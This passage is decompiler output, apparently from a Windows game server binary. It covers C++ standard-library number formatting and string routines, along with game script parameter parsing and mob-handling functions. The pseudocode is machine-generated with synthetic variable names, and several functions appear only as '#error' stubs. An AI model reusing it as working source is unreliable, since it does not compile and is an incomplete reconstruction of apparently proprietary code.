v14 = *(_DWORD *)(v12 + 4); if ( v14 > 0 && v14 < 0xFFFFFFFF ) *(_DWORD *)(v12 + 4) = v14 - 1; v15 = ((*(_DWORD *)(v12 + 4) != 0) - 1) & v12; std::_Lockit::__Lockit(&_Kseparator); if ( v15 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v15)(v15, 1); } std::numpunct::grouping(v13, (std::basic_string,std::allocator > *)&_Grouping); v16 = v13->baseclass_0.vfptr; v78 = 1; LOBYTE(_Kseparator._Locktype) = ((int (__thiscall *)(std::numpunct *))v16[2].__vecDelDtor)(v13); v73 = 15; v72 = 0; LOBYTE(p) = 0; v17 = _Buf; v18 = *_Buf; v19 = *_Buf == 43; LOBYTE(v78) = 2; if ( v19 || (*(_DWORD *)&_Fracoffset.___u0.baseclass_0.baseclass_0.dummy[0] = 0, v18 == 45) ) *(_DWORD *)&_Fracoffset.___u0.baseclass_0.baseclass_0.dummy[0] = 1; _Enders[0] = *localeconv()->decimal_point; _Enders[1] = 101; _Enders[2] = 0; v20 = v75; if ( v76 < 0x10 ) v20 = &v75; if ( *(_BYTE *)v20 != 127 ) { v21 = v75; if ( v76 < 0x10 ) v21 = &v75; if ( *(_BYTE *)v21 > 0 ) { std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&_Groupstring, _Buf, _Count); v22 = memchr(_Buf, 101, _Count); if ( v22 ) std::basic_string_std::allocator>::insert( (std::basic_string,std::allocator > *)&_Groupstring, v22 - _Buf, _Trailing, 48); else std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&_Groupstring, _Trailing, 48); v23 = memchr(_Buf, _Enders[0], _Count); if ( v23 ) { v24 = v23 - _Buf; std::basic_string_std::allocator>::insert( (std::basic_string,std::allocator > *)&_Groupstring, v23 - _Buf + 1, _Afterpoint, 48); std::basic_string_std::allocator>::insert( (std::basic_string,std::allocator > *)&_Groupstring, v24, _Beforepoint, 48); } else { std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&_Groupstring, _Beforepoint, 48); } v25 = v75; if ( v76 < 0x10 ) v25 = &v75; v26 = p; if ( v73 < 0x10 ) v26 = (char *)&p; strcspn(v26, _Enders); v27 = v28; for ( LOBYTE(v28) = *(_BYTE *)v25; *(_BYTE *)v25 != 127; LOBYTE(v28) = *(_BYTE *)v25 ) { if ( (char)v28 <= 0 ) break; v28 = (char)v28; if ( (char)v28 >= v27 - *(_DWORD *)&_Fracoffset ) break; v27 -= v28; std::basic_string_std::allocator>::insert( (std::basic_string,std::allocator > *)&_Groupstring, v27, 1u, 44); if ( *((_BYTE *)v25 + 1) > 0 ) v25 = (char *)v25 + 1; } v17 = p; if ( v73 < 0x10 ) v17 = &p; _Beforepoint = 0; _Afterpoint = 0; _Trailing = 0; _Count = v72; } } v29 = _Iosbase->_Wide; v30 = _Count + _Trailing + _Beforepoint + _Afterpoint; if ( v29 <= 0 || v29 <= v30 ) _Bufa = 0; else _Bufa = v29 - v30; v31 = _Iosbase->_Fmtfl & 0x1C0; if ( v31 == 64 ) { v37 = _Dest._Strbuf; v36 = *(void **)&_Dest; } else { if ( v31 == 256 ) { v32 = _Dest._Strbuf; if ( *(unsigned int *)&_Fracoffset <= 0 ) { v34 = *(_DWORD *)&_Dest; } else { v33 = *(_BYTE *)v17; _Fracoffset = _Dest; std::ostreambuf_iterator>::operator_(&_Fracoffset, v33); v32 = _Fracoffset._Strbuf; v34 = *(_DWORD *)&_Fracoffset; v17 = (char *)v17 + 1; --_Count; } v61 = _Bufa; v60 = _Fill; v59 = (std::ostreambuf_iterator >)__PAIR__((unsigned int)v32, v34); v58 = &_Fracoffset; } else { v61 = _Bufa; v60 = _Fill; v59 = _Dest; v58 = &_Fracoffset; } v35 = std::num_put>>::_Rep(this, v58, v59, v60, v61); v36 = *(void **)&v35->___u0.baseclass_0.baseclass_0.dummy[0]; v37 = v35->_Strbuf; _Bufa = 0; } v38 = memchr(v17, _Enders[0], _Count); if ( v38 ) { *(_DWORD *)&_Fracoffset.___u0.baseclass_0.baseclass_0.dummy[0] = v38 - v17 + 1; v39 = std::num_put>>::_Putgrouped( this, (std::ostreambuf_iterator > *)&v69, (std::ostreambuf_iterator >)__PAIR__((unsigned int)v37, (unsigned int)v36), (const char *)v17, v38 - v17, _Kseparator._Locktype); v40 = std::num_put>>::_Rep( this, (std::ostreambuf_iterator > *)&v67, *v39, 48, _Beforepoint); v41 = *(_DWORD *)&v40->___u0.baseclass_0.baseclass_0.dummy[0]; v42 = v40->_Strbuf; v43 = (*(int (**)(void))(*(_DWORD *)_Punct_fac + 4))(); v44 = std::num_put>>::_Rep( this, (std::ostreambuf_iterator > *)&v67, (std::ostreambuf_iterator >)__PAIR__((unsigned int)v42, v41), v43, 1u); v45 = std::num_put>>::_Rep( this, (std::ostreambuf_iterator > *)&_Punct_fac, *v44, 48, _Afterpoint); v36 = *(void **)&v45->___u0.baseclass_0.baseclass_0.dummy[0]; v37 = v45->_Strbuf; v17 = (char *)v17 + *(_DWORD *)&_Fracoffset; _Count -= *(_DWORD *)&_Fracoffset; } v46 = memchr(v17, 101, _Count); if ( v46 ) { _Fillcount = v46 - v17 + 1; v47 = std::num_put>>::_Putgrouped( this, (std::ostreambuf_iterator > *)&v67, (std::ostreambuf_iterator >)__PAIR__((unsigned int)v37, (unsigned int)v36), (const char *)v17, v46 - v17, _Kseparator._Locktype); v48 = std::num_put>>::_Rep( this, (std::ostreambuf_iterator > *)&v69, *v47, 48, _Trailing); _Trailing = 0; v49 = "E"; if ( !(_Iosbase->_Fmtfl & 4) ) v49 = "e"; v50 = *(void **)&v48->___u0.baseclass_0.baseclass_0.dummy[0]; v51 = (int)v48->_Strbuf; v52 = *v49; _Punct_fac = v50; v66 = v51; std::ostreambuf_iterator>::operator_( (std::ostreambuf_iterator > *)&_Punct_fac, v52); v36 = _Punct_fac; v37 = (std::basic_streambuf > *)v66; v17 = (char *)v17 + _Fillcount; _Count -= _Fillcount; } v53 = std::num_put>>::_Putgrouped( this, (std::ostreambuf_iterator > *)&v67, (std::ostreambuf_iterator >)__PAIR__((unsigned int)v37, (unsigned int)v36), (const char *)v17, _Count, _Kseparator._Locktype); v54 = std::num_put>>::_Rep( this, (std::ostreambuf_iterator > *)&v69, *v53, 48, _Trailing); v55 = *(_DWORD *)&v54->___u0.baseclass_0.baseclass_0.dummy[0]; v56 = v54->_Strbuf; _Iosbase->_Wide = 0; std::num_put>>::_Rep( this, result, (std::ostreambuf_iterator >)__PAIR__((unsigned int)v56, v55), _Fill, _Bufa); if ( v73 >= 0x10 ) operator delete(p); v73 = 15; v72 = 0; LOBYTE(p) = 0; if ( v76 >= 0x10 ) operator delete(v75); __security_check_cookie(v77); return v57; } //----- (004A3420) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::insert(std::basic_string,std::allocator > *this, unsigned int _Off, unsigned int _Count, char _Ch) { unsigned int v4; // ebx@1 std::basic_string,std::allocator > *v5; // esi@1 unsigned int v6; // edi@6 unsigned int v7; // eax@8 bool v8; // cf@9 bool v9; // zf@9 unsigned int v10; // eax@11 int v11; // ebp@11 int v12; // ecx@12 std::basic_string,std::allocator > *result; // eax@15 int v14; // eax@19 int v15; // edx@22 void *v16; // edi@24 int v17; // eax@24 unsigned int v18; // edi@24 unsigned int i; // ecx@24 unsigned int _Offa; // [sp+10h] [bp+4h]@6 v4 = _Off; v5 = this; if ( this->_Mysize < _Off ) std::_String_base::_Xran(&this->baseclass_0.___u0.baseclass_0); if ( -1 - this->_Mysize <= _Count ) std::_String_base::_Xlen(&this->baseclass_0.___u0.baseclass_0); if ( !_Count ) return v5; v6 = _Count + this->_Mysize; _Offa = _Count + this->_Mysize; if ( v6 > 0xFFFFFFFE ) std::_String_base::_Xlen(&this->baseclass_0.___u0.baseclass_0); v7 = this->_Myres; if ( v7 < v6 ) { std::basic_string_std::allocator>::_Copy(this, v6, this->_Mysize); v8 = 0; v9 = v6 == 0; goto LABEL_10; } v8 = 0; v9 = v6 == 0; if ( v6 ) { LABEL_10: if ( !(v8 | v9) ) { v10 = v5->_Myres; v11 = (int)&v5->_Bx; if ( v10 < 0x10 ) v12 = (int)&v5->_Bx; else v12 = *(_DWORD *)v11; if ( v10 < 0x10 ) v14 = (int)&v5->_Bx; else v14 = *(_DWORD *)v11; memmove((char *)(_Count + v4 + v14), (char *)(v4 + v12), v5->_Mysize - v4); if ( v5->_Myres < 0x10 ) v15 = (int)&v5->_Bx; else v15 = *(_DWORD *)v11; v16 = (void *)(v15 + v4); LOBYTE(v4) = _Ch; BYTE1(v4) = _Ch; v17 = v4 << 16; LOWORD(v17) = v4; memset32(v16, v17, _Count >> 2); v18 = (unsigned int)((char *)v16 + 4 * (_Count >> 2)); for ( i = _Count & 3; i; --i ) *(_BYTE *)v18++ = _Ch; v8 = v5->_Myres < 0x10; v5->_Mysize = _Offa; if ( !v8 ) v11 = *(_DWORD *)v11; *(_BYTE *)(_Offa + v11) = 0; } return v5; } this->_Mysize = 0; if ( v7 < 0x10 ) { this->_Bx._Buf[0] = 0; result = this; } else { **(_BYTE **)&this->_Bx._Buf[0] = 0; result = this; } return result; } //----- (004A3540) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::append(std::basic_string,std::allocator > *this, unsigned int _Count, char _Ch) { int v3; // ebx@0 std::basic_string,std::allocator > *v4; // esi@1 unsigned int v5; // ebp@4 unsigned int v6; // eax@6 bool v7; // cf@7 bool v8; // zf@7 int v9; // edx@10 std::basic_string,std::allocator > *result; // eax@13 void *v11; // edi@16 int v12; // eax@16 unsigned int v13; // edi@16 unsigned int i; // ecx@16 v4 = this; if ( -1 - this->_Mysize <= _Count ) std::_String_base::_Xlen(&this->baseclass_0.___u0.baseclass_0); if ( !_Count ) return v4; v5 = _Count + this->_Mysize; if ( v5 > 0xFFFFFFFE ) std::_String_base::_Xlen(&this->baseclass_0.___u0.baseclass_0); v6 = this->_Myres; if ( v6 < v5 ) { std::basic_string_std::allocator>::_Copy(this, v5, this->_Mysize); v7 = 0; v8 = v5 == 0; goto LABEL_8; } v7 = 0; v8 = v5 == 0; if ( v5 ) { LABEL_8: if ( !(v7 | v8) ) { if ( v4->_Myres < 0x10 ) v9 = (int)&v4->_Bx; else v9 = *(_DWORD *)&v4->_Bx._Buf[0]; LOBYTE(v3) = _Ch; BYTE1(v3) = _Ch; v11 = (void *)(v9 + v4->_Mysize); v12 = v3 << 16; LOWORD(v12) = v3; memset32(v11, v12, _Count >> 2); v13 = (unsigned int)((char *)v11 + 4 * (_Count >> 2)); for ( i = _Count & 3; i; --i ) *(_BYTE *)v13++ = _Ch; v7 = v4->_Myres < 0x10; v4->_Mysize = v5; if ( !v7 ) { *(_BYTE *)(*(_DWORD *)&v4->_Bx._Buf[0] + v5) = 0; return v4; } v4->_Bx._Buf[v5] = 0; } return v4; } this->_Mysize = 0; if ( v6 < 0x10 ) { this->_Bx._Buf[0] = 0; result = this; } else { **(_BYTE **)&this->_Bx._Buf[0] = 0; result = this; } return result; } //----- (004A3610) -------------------------------------------------------- std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, long double _Val) { int v6; // eax@1 int v7; // edx@2 signed int v8; // ebp@4 int v9; // ecx@6 long double v10; // st7@6 unsigned int v11; // esi@6 unsigned int v12; // ebx@6 unsigned int v13; // edi@6 char *v14; // eax@17 int v15; // eax@21 int v16; // ecx@21 int v17; // eax@21 int v18; // ecx@22 int v19; // eax@25 std::num_put > > *thisa; // [sp+18h] [bp-7Ch]@1 char _Fmt; // [sp+1Ch] [bp-78h]@17 char v23; // [sp+1Dh] [bp-77h]@17 char v24; // [sp+1Eh] [bp-76h]@18 char _Buf[108]; // [sp+24h] [bp-70h]@25 thisa = this; v6 = _Iosbase->_Prec; if ( v6 <= 0 ) { v7 = _Iosbase->_Fmtfl; if ( !(BYTE1(v7) & 0x20) ) v6 = 6; } v8 = 36; if ( v6 <= 36 ) v8 = v6; v9 = _Iosbase->_Fmtfl; v10 = _Val; v11 = v6 - v8; v12 = 0; v13 = 0; if ( (_Iosbase->_Fmtfl & 0x3000) == 8192 ) { if ( _Val < 0.0 ) v10 = -_Val; for ( ; v10 >= 1.0e35; v12 += 10 ) { if ( v12 >= 0x1388 ) break; v10 = v10 * 1.0e-10; } if ( v10 > 0.0 && (signed int)v11 >= 10 ) { do { if ( v10 > 1.0e-35 ) break; if ( v13 >= 0x1388 ) break; v10 = v10 * 1.0e10; v11 -= 10; v13 += 10; } while ( (signed int)v11 >= 10 ); } } _Fmt = 37; v14 = &v23; if ( v9 & 0x20 ) { v23 = 43; v14 = &v24; } if ( v9 & 0x10 ) *v14++ = 35; *v14 = 46; v15 = (int)(v14 + 1); *(_BYTE *)v15++ = 42; *(_BYTE *)v15 = 76; v16 = v9 & 0x3000; v17 = v15 + 1; if ( v16 == 8192 ) { LOBYTE(v18) = 102; } else { LOBYTE(v16) = v16 != 4096; v18 = 2 * v16 + 101; } *(_BYTE *)v17 = v18; *(_BYTE *)(v17 + 1) = 0; v19 = sprintf(_Buf, &_Fmt); std::num_put>>::_Fput( thisa, result, _Dest, _Iosbase, _Fill, _Buf, v12, v13, v11, v19); return result; } //----- (004A37C0) -------------------------------------------------------- std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, const void *_Val) { std::num_put > > *v6; // esi@1 int v7; // eax@1 char _Buf[64]; // [sp+8h] [bp-44h]@1 v6 = this; v7 = sprintf(_Buf, "%p"); std::num_put>>::_Iput( v6, result, _Dest, _Iosbase, _Fill, _Buf, v7); return result; } //----- (004A3820) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::numpunct::do_grouping(std::numpunct *this, std::basic_string,std::allocator > *result) { std::basic_string_std::allocator>::basic_string_std::allocator>( result, this->_Grouping); return result; } //----- (004A3840) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::numpunct::do_falsename(std::numpunct *this, std::basic_string,std::allocator > *result) { const char *v2; // ecx@1 v2 = this->_Falsename; result->_Myres = 15; result->_Mysize = 0; result->_Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(result, v2, strlen(v2)); return result; } //----- (004A3890) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::numpunct::do_truename(std::numpunct *this, std::basic_string,std::allocator > *result) { const char *v2; // ecx@1 v2 = this->_Truename; result->_Myres = 15; result->_Mysize = 0; result->_Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(result, v2, strlen(v2)); return result; } //----- (004A38E0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ScriptParameterPaser::SetErrorMsg(PineEventScriptNode::ScriptParameterPaser *this, const char *pkErrorMsg) { std::basic_string_std::allocator>::assign( &this->m_strErrorMsg, pkErrorMsg, strlen(pkErrorMsg)); } //----- (004A3910) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::basic_stringstream_std::allocator>::str(std::basic_stringstream,std::allocator > *this, std::basic_string,std::allocator > *result) { std::basic_stringbuf_std::allocator>::str( (std::basic_stringbuf,std::allocator > *)&this->___u0.baseclass_0.___u0.baseclass_0.gap8[4], result); return result; } //----- (004A3930) -------------------------------------------------------- bool __thiscall PineEventScriptNode::ScriptParameterPaser::GetByObject(PineEventScriptNode::ScriptParameterPaser *this, int nIndex, #331 **rpObj) { PineEventScriptNode::ScriptParameterPaser *v3; // esi@1 std::basic_ostream > *v4; // eax@1 std::basic_ostream > *v5; // eax@1 std::basic_string,std::allocator > *v6; // eax@1 bool v7; // cf@1 const char *v8; // ebp@2 PineScriptToken *v9; // edi@4 int v10; // eax@4 int v11; // esi@4 int v12; // esi@6 unsigned __int16 v14; // ax@14 #331 *v15; // eax@14 int v16; // [sp-4h] [bp-C4h]@1 std::basic_string,std::allocator > result; // [sp+Ch] [bp-B4h]@1 std::basic_stringstream,std::allocator > thisa; // [sp+28h] [bp-98h]@1 char v19; // [sp+B8h] [bp-8h]@1 int v20; // [sp+BCh] [bp-4h]@1 v3 = this; std::basic_stringstream_std::allocator>::basic_stringstream_std::allocator>( (std::basic_stringstream,std::allocator > *)((char *)&thisa + 4), 3); v20 = 0; v4 = std::operator<<_std::allocator>( (std::basic_ostream > *)&thisa.___u0.baseclass_0.___u0.baseclass_0.gap8[4], &v3->m_strErrorMsg); v5 = std::operator<<>(v4, "Parameter Index : "); std::basic_ostream>::operator<<(v5, nIndex); v6 = std::basic_stringstream_std::allocator>::str(&thisa, &result); v7 = v6->_Myres < 0x10; v19 = 1; if ( v7 ) v8 = (const char *)&v6->_Bx; else v8 = *(const char **)&v6->_Bx._Buf[0]; v9 = &v3->m_tkn; v10 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *, int))v3->m_ppExpress[nIndex]->baseclass_0.vfptr->sa_Calculate)( &v3->m_tkn, v3->m_pPS, v16); v11 = v10 != 0; if ( !v10 ) AssertClass::ac_AssertFail(&shineassert, v8, 0); LOBYTE(v20) = 0; v12 = v11 == 0; if ( *(unsigned int *)&thisa >= 0x10 ) operator delete(*(void **)&result._Bx._Buf[4]); if ( v12 ) { std::basic_stringstream_std::allocator>::str( (std::basic_stringstream,std::allocator > *)((char *)&thisa + 4), (std::basic_string,std::allocator > *)((char *)&result + 4)); if ( *(unsigned int *)&thisa >= 0x10 ) operator delete(*(void **)&result._Bx._Buf[4]); *(_DWORD *)&thisa.___u0.baseclass_0.___u0.baseclass_0.gap0[0] = 15; result._Myres = 0; result._Bx._Buf[4] = 0; goto LABEL_12; } v14 = PineScriptToken::pst_GetNumber(v9, 0); v15 = ShineObjectManager::som_GetObject(&shineobjmanager, v14); *rpObj = v15; if ( !v15 ) { LABEL_12: v20 = -1; std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>((std::basic_stringstream,std::allocator > *)((char *)&thisa + 88)); *(_DWORD *)&thisa.gap54[4] = &std::basic_ios>::_vftable_; std::ios_base::_ios_base((std::ios_base *)&thisa.gap54[4]); return 0; } v20 = -1; std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>((std::basic_stringstream,std::allocator > *)((char *)&thisa + 88)); *(_DWORD *)&thisa.gap54[4] = &std::basic_ios>::_vftable_; std::ios_base::_ios_base((std::ios_base *)&thisa.gap54[4]); return 1; } // 5B10EC: using guessed type int (__thiscall *std__basic_ios_char_std__char_traits_char_____vftable_)(void *p, char); //----- (004A3AE0) -------------------------------------------------------- bool __thiscall PineEventScriptNode::ScriptParameterPaser::GetByDWARD(PineEventScriptNode::ScriptParameterPaser *this, int nIndex, unsigned int *rDWARD) { PineEventScriptNode::ScriptParameterPaser *v3; // esi@1 std::basic_ostream > *v4; // eax@1 std::basic_ostream > *v5; // eax@1 std::basic_string,std::allocator > *v6; // eax@1 bool v7; // cf@1 const char *v8; // ebp@2 PineScriptToken *v9; // edi@4 int v10; // eax@4 int v11; // esi@4 int v12; // esi@6 bool v13; // al@11 int v14; // [sp-4h] [bp-C4h]@1 std::basic_string,std::allocator > result; // [sp+Ch] [bp-B4h]@1 std::basic_stringstream,std::allocator > thisa; // [sp+28h] [bp-98h]@1 char v17; // [sp+B8h] [bp-8h]@1 int v18; // [sp+BCh] [bp-4h]@1 v3 = this; std::basic_stringstream_std::allocator>::basic_stringstream_std::allocator>( (std::basic_stringstream,std::allocator > *)((char *)&thisa + 4), 3); v18 = 0; v4 = std::operator<<_std::allocator>( (std::basic_ostream > *)&thisa.___u0.baseclass_0.___u0.baseclass_0.gap8[4], &v3->m_strErrorMsg); v5 = std::operator<<>(v4, "Parameter Index : "); std::basic_ostream>::operator<<(v5, nIndex); v6 = std::basic_stringstream_std::allocator>::str(&thisa, &result); v7 = v6->_Myres < 0x10; v17 = 1; if ( v7 ) v8 = (const char *)&v6->_Bx; else v8 = *(const char **)&v6->_Bx._Buf[0]; v9 = &v3->m_tkn; v10 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *, int))v3->m_ppExpress[nIndex]->baseclass_0.vfptr->sa_Calculate)( &v3->m_tkn, v3->m_pPS, v14); v11 = v10 != 0; if ( !v10 ) AssertClass::ac_AssertFail(&shineassert, v8, 0); LOBYTE(v18) = 0; v12 = v11 == 0; if ( *(unsigned int *)&thisa >= 0x10 ) operator delete(*(void **)&result._Bx._Buf[4]); if ( v12 ) { std::basic_stringstream_std::allocator>::str( (std::basic_stringstream,std::allocator > *)((char *)&thisa + 4), (std::basic_string,std::allocator > *)((char *)&result + 4)); if ( *(unsigned int *)&thisa >= 0x10 ) operator delete(*(void **)&result._Bx._Buf[4]); *(_DWORD *)&thisa.___u0.baseclass_0.___u0.baseclass_0.gap0[0] = 15; result._Myres = 0; result._Bx._Buf[4] = 0; v18 = -1; std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>((std::basic_stringstream,std::allocator > *)((char *)&thisa + 88)); *(_DWORD *)&thisa.gap54[4] = &std::basic_ios>::_vftable_; std::ios_base::_ios_base((std::ios_base *)&thisa.gap54[4]); v13 = 0; } else { *rDWARD = PineScriptToken::pst_GetNumber(v9, 0); v18 = -1; std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>((std::basic_stringstream,std::allocator > *)((char *)&thisa + 88)); *(_DWORD *)&thisa.gap54[4] = &std::basic_ios>::_vftable_; std::ios_base::_ios_base((std::ios_base *)&thisa.gap54[4]); v13 = 1; } return v13; } // 5B10EC: using guessed type int (__thiscall *std__basic_ios_char_std__char_traits_char_____vftable_)(void *p, char); //----- (004A3C80) -------------------------------------------------------- bool __thiscall PineEventScriptNode::ScriptParameterPaser::GetByString(PineEventScriptNode::ScriptParameterPaser *this, int nIndex, std::basic_string,std::allocator > *rstrchar) { PineEventScriptNode::ScriptParameterPaser *v3; // esi@1 std::basic_ostream > *v4; // eax@1 std::basic_ostream > *v5; // eax@1 std::basic_string,std::allocator > *v6; // eax@1 bool v7; // cf@1 const char *v8; // ebp@2 const char *v9; // edi@4 int v10; // eax@4 int v11; // esi@4 int v12; // esi@6 bool v13; // al@11 int v14; // [sp-4h] [bp-C4h]@1 std::basic_string,std::allocator > result; // [sp+Ch] [bp-B4h]@1 std::basic_stringstream,std::allocator > thisa; // [sp+28h] [bp-98h]@1 char v17; // [sp+B8h] [bp-8h]@1 int v18; // [sp+BCh] [bp-4h]@1 v3 = this; std::basic_stringstream_std::allocator>::basic_stringstream_std::allocator>( (std::basic_stringstream,std::allocator > *)((char *)&thisa + 4), 3); v18 = 0; v4 = std::operator<<_std::allocator>( (std::basic_ostream > *)&thisa.___u0.baseclass_0.___u0.baseclass_0.gap8[4], &v3->m_strErrorMsg); v5 = std::operator<<>(v4, "Parameter Index : "); std::basic_ostream>::operator<<(v5, nIndex); v6 = std::basic_stringstream_std::allocator>::str(&thisa, &result); v7 = v6->_Myres < 0x10; v17 = 1; if ( v7 ) v8 = (const char *)&v6->_Bx; else v8 = *(const char **)&v6->_Bx._Buf[0]; v9 = (const char *)&v3->m_tkn; v10 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *, int))v3->m_ppExpress[nIndex]->baseclass_0.vfptr->sa_Calculate)( &v3->m_tkn, v3->m_pPS, v14); v11 = v10 != 0; if ( !v10 ) AssertClass::ac_AssertFail(&shineassert, v8, 0); LOBYTE(v18) = 0; v12 = v11 == 0; if ( *(unsigned int *)&thisa >= 0x10 ) operator delete(*(void **)&result._Bx._Buf[4]); if ( v12 ) { std::basic_stringstream_std::allocator>::str( (std::basic_stringstream,std::allocator > *)((char *)&thisa + 4), (std::basic_string,std::allocator > *)((char *)&result + 4)); if ( *(unsigned int *)&thisa >= 0x10 ) operator delete(*(void **)&result._Bx._Buf[4]); *(_DWORD *)&thisa.___u0.baseclass_0.___u0.baseclass_0.gap0[0] = 15; result._Myres = 0; result._Bx._Buf[4] = 0; v18 = -1; std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>((std::basic_stringstream,std::allocator > *)((char *)&thisa + 88)); *(_DWORD *)&thisa.gap54[4] = &std::basic_ios>::_vftable_; std::ios_base::_ios_base((std::ios_base *)&thisa.gap54[4]); v13 = 0; } else { std::basic_string_std::allocator>::assign(rstrchar, v9, strlen(v9)); v18 = -1; std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>((std::basic_stringstream,std::allocator > *)((char *)&thisa + 88)); *(_DWORD *)&thisa.gap54[4] = &std::basic_ios>::_vftable_; std::ios_base::_ios_base((std::ios_base *)&thisa.gap54[4]); v13 = 1; } return v13; } // 5B10EC: using guessed type int (__thiscall *std__basic_ios_char_std__char_traits_char_____vftable_)(void *p, char); //----- (004A3E30) -------------------------------------------------------- #error "4A3E30: undefined or illegal type '#331' (funcsize=16)" //----- (004A3E70) -------------------------------------------------------- void __thiscall AxialListMobCounter::_AxialListMobCounter(AxialListMobCounter *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListMobCounter::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5B1660: using guessed type int (__stdcall *AxialListMobCounter___vftable_[3])(int, int, int distancesquar); //----- (004A3E80) -------------------------------------------------------- #error "4A3E80: undefined or illegal type '#592' (funcsize=66)" //----- (004A3F50) -------------------------------------------------------- void __thiscall AxialListMobInAreaCounter::_AxialListMobInAreaCounter(AxialListMobInAreaCounter *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListMobInAreaCounter::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5B1664: using guessed type int (__stdcall *AxialListMobInAreaCounter___vftable_[2])(int, int, int distancesquar); //----- (004A3F60) -------------------------------------------------------- void __thiscall AxialListObjectList::_AxialListObjectList(AxialListObjectList *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListObjectList::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5B1668: using guessed type int (__stdcall *AxialListObjectList___vftable_)(int, int, int distancesquar); //----- (004A3F70) -------------------------------------------------------- void __thiscall PROTO_NC_CHAR_WEDDINGDATA_ACK::__unnamed::__unnamed(MemoryQueueGuildReName *this) { *(_QWORD *)&this->sGuildName.n4_name[8] = 0i64; *(_QWORD *)&this->sGuildName.n4_name[0] = 0i64; } //----- (004A3F80) -------------------------------------------------------- #error "4A3F80: undefined or illegal type '#331' (funcsize=60)" //----- (004A4050) -------------------------------------------------------- #error "4A4050: undefined or illegal type '#331' (funcsize=53)" //----- (004A4110) -------------------------------------------------------- void __thiscall AxialListKQResult::alkqr_CalcScore(AxialListKQResult *this) { AxialListKQResult *v1; // ebp@1 int v2; // ebx@1 char *v3; // esi@2 int v4; // edi@3 int v5; // eax@3 v1 = this; v2 = 0; if ( this->alkqr_Pointer > 0 ) { v3 = (char *)&this->alkqr_Array[0].scorestr.flag; do { v4 = *((_DWORD *)v3 - 5); *v3 &= 0x80u; *v3 = ((unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1960))(v4) << 7) | *v3 & 0x7F; v5 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1160))(v4); v3[1] = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 40))(v5); ++v2; v3 += 48; } while ( v2 < v1->alkqr_Pointer ); } } //----- (004A4180) -------------------------------------------------------- #error "4A4180: undefined or illegal type '#592' (funcsize=31)" //----- (004A41F0) -------------------------------------------------------- #331 *__thiscall ScriptMobBreeder::smb_ShineObject(ScriptMobBreeder *this, PineScriptStack::ProcessStack *ps, unsigned __int16 objhnd) { #331 *v3; // esi@1 #331 *result; // eax@2 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ScriptMobBreeder::smb_ShineObject"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptMobBreeder::smb_ShineObject"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ShineObjectManager::som_GetObject(&shineobjmanager, objhnd); if ( v3 != 0 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ScriptMobBreeder::smb_ShineObject"); result = v3; } else { AssertClass::ac_AssertFail(&shineassert, "ScriptMobBreeder::smb_ShineObject : NO Object", 1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ScriptMobBreeder::smb_ShineObject"); result = 0; } return result; } //----- (004A42E0) -------------------------------------------------------- #error "4A42E0: undefined or illegal type '#331' (funcsize=281)" //----- (004A4740) -------------------------------------------------------- #error "4A4740: undefined or illegal type '#331' (funcsize=204)" //----- (004A4A70) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineMobRegen::sfb_Calculate(PineEventScriptNode::SysFuncShineMobRegen *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { #331 *v4; // eax@1 PineScriptToken *result; // eax@2 PineScriptToken *v6; // eax@6 PineScriptToken *v7; // eax@6 PineScriptToken *v8; // esi@6 int v9; // [sp-8h] [bp-20h]@4 unsigned __int16 mobhnd; // [sp+4h] [bp-14h]@1 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v12; // [sp+14h] [bp-4h]@1 _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineMobRegen::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineMobRegen::sfb_Calculate"); 